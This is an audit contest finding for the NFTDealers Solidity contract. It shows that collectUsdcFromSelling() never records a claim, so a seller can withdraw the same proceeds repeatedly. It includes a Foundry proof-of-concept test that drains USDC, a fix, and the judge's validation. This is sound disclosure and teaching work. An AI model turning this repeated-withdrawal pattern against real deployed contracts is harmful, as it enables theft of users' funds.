NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Repeated seller withdrawals from the same sale

jfornells

Root + Impact

NFTDealers::collectUsdcFromSelling() does not consume the seller’s claim state for a sold listing, the same seller can repeatedly
withdraw the same payout from the contract.

Description

  • The intended behavior is that once a listed NFT is sold, the seller should be able to collect the sale proceeds exactly once, receiving the sale amount minus fees plus any locked collateral tied to minting. After that payout is made, the listing should no longer allow further withdrawals.

  • The issue is that collectUsdcFromSelling() only verifies that the listing is inactive and that the caller is the recorded seller. It then recomputes the payout from listing.price and collateralForMinting[listing.tokenId], but it never marks the sale as claimed and never clears the collateral after paying it out. As a result, the seller can call the function again and receive the same payout multiple times as long as the contract still holds enough USDC.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
@> totalFeesCollected += fees;
@> amountToSeller += collateralToReturn;
@> usdc.safeTransfer(address(this), fees);
@> usdc.safeTransfer(msg.sender, amountToSeller);
}

Risk

Likelihood: High

  • The issue occurs after any successful sale.

  • The original seller remains permanently authorized to call the function, and no state change prevents repeated claims.

Impact: High

  • A seller can repeatedly withdraw the same sale proceeds and collateral, draining USDC held by the contract.

  • Each repeated claim also inflates totalFeesCollected, corrupting fee accounting.

Proof of Concept

The following test shows that after a successful sale, the seller can call collectUsdcFromSelling() multiple times for the same listing and receive the same payout each time.

function test_CollectUsdcFromSelling_CanBeCalledRepeatedly() public revealed whitelisted {
uint256 salePrice = 2_000e6; // 2,000 USDC
uint256 fees = nftDealers.calculateFees(salePrice);
uint256 sellerPayout = salePrice - fees + LOCK_AMOUNT;
​
// Seller mints and lists tokenId 1.
deal(address(usdc), seller, LOCK_AMOUNT);
vm.startPrank(seller);
usdc.approve(address(nftDealers), LOCK_AMOUNT);
nftDealers.mintNft();
nftDealers.list(1, uint32(salePrice));
vm.stopPrank();
​
// Buyer purchases the NFT.
deal(address(usdc), buyer, salePrice);
vm.startPrank(buyer);
usdc.approve(address(nftDealers), salePrice);
nftDealers.buy(1);
vm.stopPrank();
​
// Seed the contract with extra USDC so repeated withdrawals remain payable.
deal(address(usdc), address(nftDealers), 10_000e6);
​
uint256 sellerBalanceBefore = usdc.balanceOf(seller);
​
// The same sold listing can be collected repeatedly.
vm.prank(seller);
nftDealers.collectUsdcFromSelling(1);
​
vm.prank(seller);
nftDealers.collectUsdcFromSelling(1);
​
vm.prank(seller);
nftDealers.collectUsdcFromSelling(1);
​
assertEq(usdc.balanceOf(seller) - sellerBalanceBefore, sellerPayout * 3);
}

Recommended Mitigation

Record that the seller has already claimed proceeds for a listing before transferring funds, and clear the collateral returned
as part of that payout so the same listing cannot be collected again.

+ mapping(uint256 => bool) public proceedsClaimed;
​
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(!proceedsClaimed[_listingId], "Proceeds already claimed");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
+ proceedsClaimed[_listingId] = true;
+ collateralForMinting[listing.tokenId] = 0;
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
Updates

Lead Judging Commences

rubik0n Lead Judge 16 days ago
Submission Judgement Published
Validated
Assigned finding tags:

drain-protocol-risk

collateral is not reset to zero after collecting USDC from sold NFT. No accounting for collected USDC

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!